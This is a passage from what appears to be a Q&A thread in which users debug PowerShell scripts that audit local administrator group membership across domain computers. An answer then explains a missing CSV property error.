$admin = $admin -replace 'cimv2', '' -replace 'Win32','' -replace 'useraccount','' -replace 'root','' -replace $computername,'' -replace ',','' -replace "`n|`r" -replace $env:userdomain,'' -replace 'name','' -replace '=','' -replace ':','' -replace '_','' -replace '\\','' -replace '_','' -replace 'group','' -replace '""',''
$admin.substring(8)
$admin
$admin = $admin | %{$_.split('"')[3]}
$admin
Write-Host "done with current admin"
$Record."Machinename" = $computername
$Record."Groupname" = $admin
$Record."DomainName" = $env:USERDNSDOMAIN
$Record."UserName" = $admin.split("")[1]
$objRecord = New-Object PSObject -property $Record
$Table += $objrecord
}
$Table | Export-Csv $tempfile -NoTypeInformation
}
Can someone please help me get to the finish line?
Update 1:
With Mathias's help, I've cast the results of the WMI query to a WMI type and can access items easier.
$auditdir = "c:\temp\"
$tempfile = $auditdir + "computers.csv"
$computers = (Get-ADComputer -Filter *)
$Table = #()
$Record = #{
"ComputerName" = ""
"MemberName" = ""
"DomainName" = ""
"SID" = ""
}
Foreach ($computername in $computers){
$computername = $computername.name
$ADMINS = get-wmiobject -computername $computername -query "select * from win32_groupuser where GroupComponent=""Win32_Group.Domain='$computername',Name='administrators'""" | % {$_.partcomponent}
foreach ($ADMIN in $ADMINS){
$admin = [WMI]$admin
$admin
$Record."ComputerName" = $computername
$Record."MemberName" = $admin.name
$Record."DomainName" = $env:USERDNSDOMAIN
$Record."SID" = $admin.SID
$objRecord = New-Object PSObject -property $Record
$Table += $objrecord
}
$Table | Export-Csv $tempfile -NoTypeInformation
}
I seem to be running into an issue with domain admins group. It can't seem to be converted to WMI and then parsed.
Error is:
Cannot convert value "\\computername\root\cimv2:Win32_Group.Domain="domain",Name="Domain Admins"" to type
"System.Management.ManagementObject". Error: "Not found "
At C:\Users\f12admin\Desktop\computerlist.ps1:20 char:3
+ $admin = [WMI]$admin
+ ~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvalidCastToWMI

Powershell v2 | Script Won't Declare Variable, need help debugging

Alright there seems to be several issues with the script and i can't seem to figure out any of them, also some feedback on the script would be greatly apperciated. This is still my first script so it probably needs lots of little tweaks so please tell me whatever suggestions comes to mind.
Issues: Mostly all issues revolve around the logging.
Log file is not being checked so the script keeps adding computers to the log file over and over.
The log file does not update the information that is generated such as os,mac,ip, etc.
Issues Being Displayed:
Property 'Result' cannot be found on this object. Make sure that it
exists. At W:\Powershell Scripting\Test Lab\TestFunction.ps1:86
char:17
+ IF ($Computer. <<<< Result -ne "Successful") {
+ CategoryInfo : InvalidOperation: (.:OperatorToken) [], RuntimeException
+ FullyQualifiedErrorId : PropertyNotFoundStrict
The Script
Set-PSDebug -strict
Set-StrictMode -Version latest
$consoleObject = (Get-Host).UI.RawUI
# Adjustable Variables
$Computers_Path = ".\computers.txt"
$Log_Path = ".\Log.txt"
$Log_MaxTick = 5
$RunOnServers = 0
# Multi-Threading Variables
$Jobs_MaxAtOnce = 20
$SleepTimer = 500
# Script Specific Variables
$ScriptTitle = "Local Admin Check"
# Validate Adjustable Variables
$Computers = #(Import-CSV $Computers_Path -header "Name","MAC")
# Framework Specific Variables (Pre-Setting Variables)
$Run = 0; $Succssful = 0; $Jobs_Count = 0; $Log_Tick= 0; $WriteToLog = "No"
# Misc
$Total = $Computers.length
IF (!(Test-Path $Log_Path)) { Add-Content $Log_Path "Name,OS,Mac,IPAddress,Status,Attempts,Result,LastAttempt" }
$Log = #(Import-Csv $Log_Path)
$Successful = ($Log | Where-Object {$_.Result -eq "Successful"} | Select-String -inputobject {$_.Name} -pattern $Computers | Measure-Object).Count
# Load Functions
Function GetOS {
$RegCon = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $Computer.Name )
$RegKey = $RegCon.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion\")
$RegValue = $RegKey.GetValue("ProductName")
$RegCon.Close()
$Computer.OS = $RegValue
}
Function SmartLogging {
If ($Args[0] -eq "AddComputer") {
Add-Content ($Computer.Name + "," + $Computer.OS + "," + $Computer.Mac + "," + $Computer.IPAddress + "," + $Computer.Status + "," + $Computer.Attempts + "," + $Computer.Result + "," + $Computer.LastAttempt) -path .\log.txt
} ELSEIF ( $Log_Tick -eq $Log_MaxTick -OR $Args -eq "Update" ) {
$Log_Tick = 0;
Get-Content $Log_Path | Foreach-Object {$_ -replace "$Computer.Name,.*", ($Computer.Name + "," + $Computer.OS + "," + $Computer.Mac + "," + $Computer.IPAddress + "," + $Computer.Status + "," + $Computer.Attempts + "," + $Computer.Result + "," + $Computer.LastAttempt)} | Set-Content $Log_Path
} ELSEIF ($Args[0] -eq "CheckComputer") {
IF (!($Log | Select-String -pattern $Computer.Name -SimpleMatch)) {
$Log += New-Object PSObject -Property #{ Name = $Computer.Name; OS = $NULL; Mac = $Computer.MAC; IPAddress = $NULL; Status = $NULL; Attempts = 0; Result = $NULL; LastAttempt = $NULL;}
$Computer = $Log | Where-Object {$_.Name -eq $Computer.Name}
SmartLogging AddComputer
} ELSE {
$Computer = $Log | Where-Object {$_.Name -eq $Computer.Name}
}
} ELSEIF (-not $Args[0]) {
"Log Ticked"
$Log_Tick++
}
}
Function GetIPAddress {
$IPAddress = [System.Net.Dns]::GetHostAddresses("TrinityTechCorp") | Where-Object {$_.IPAddressToString -like "*.*.*.*"};
$Computer.IPAddress = $IPAddress.IPAddressToString
}
Function WindowTitle {
[int]$Successful_Percent = $Successful / $Total * 100
$consoleObject.WindowTitle = “$ScriptTitle - $Successful Out Of $Total ($Successful_Percent%) Successful `| Run`: $Run”
}
# Start Script
while ( $Successful -le $Total ) {
$Run++
ForEach ($Computer in $Computers) {
WindowTitle
SmartLogging CheckComputer
IF ($Computer.Result -ne "Successful") {
IF (test-connection $Computer.Name -quiet ) {
$Computer.Status = "Awake"
IF (!$Computer.OS){GetOS}
IF (!$Computer.IPAddress){GetIPAddress}
## Start Script ##
$CheckComputer = [ADSI]("WinNT://" + $Computer.Name + ",computer")
$Group = $CheckComputer.psbase.children.find("Administrators")
$members= $Group.psbase.invoke("Members") | %{$_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)}
ForEach($user in $members) {
$Result = $Computer.Name + "," + $user.ToString()
Add-Content $Result -path .\Result.csv
}
## End Script ##
SmartLogging Update
$Computer.Result = "Successful"
$Successful += 1
} ELSE {
$Computer.Status = "Unknown"
}
$Computer.Attempts = [int] $Computer.Attempts + 1
$Computer.LastAttempt = Get-Date -uFormat "%I:%M:%S%p %d%b%y"
}
SmartLogging
}
}
Write-Output "Script Completed"
This declaration of $Computers collection....
$Computers = #(Import-CSV $Computers_Path -header "Name","MAC")
...will not work with this condition:
IF ($Computer.Result -ne "Successful")
The exception message explicitly states this, and where:
Property 'Result' cannot be found on this object. Make sure that it exists. \TestFunction.ps1:86 char:17
To resolve this, I would recommend initializing the property of Result, most likely like so:
$Computers = #(Import-CSV $Computers_Path -header "Name","MAC","Result")
The problem this time is that you don't have Result member in $Computers collection member, only Name and MAC. Unless you add such a member later on your code, which I don't really want to read, as it already is about 100 rows and contains a lot of code that is not related to the actual problem statement.
$Computers = #(Import-CSV $Computers_Path -header "Name","MAC")
Have you tried debugging the script on Powershell ISE? It's built-in debugger for Powershell 2. Take a look at a Technet article about it.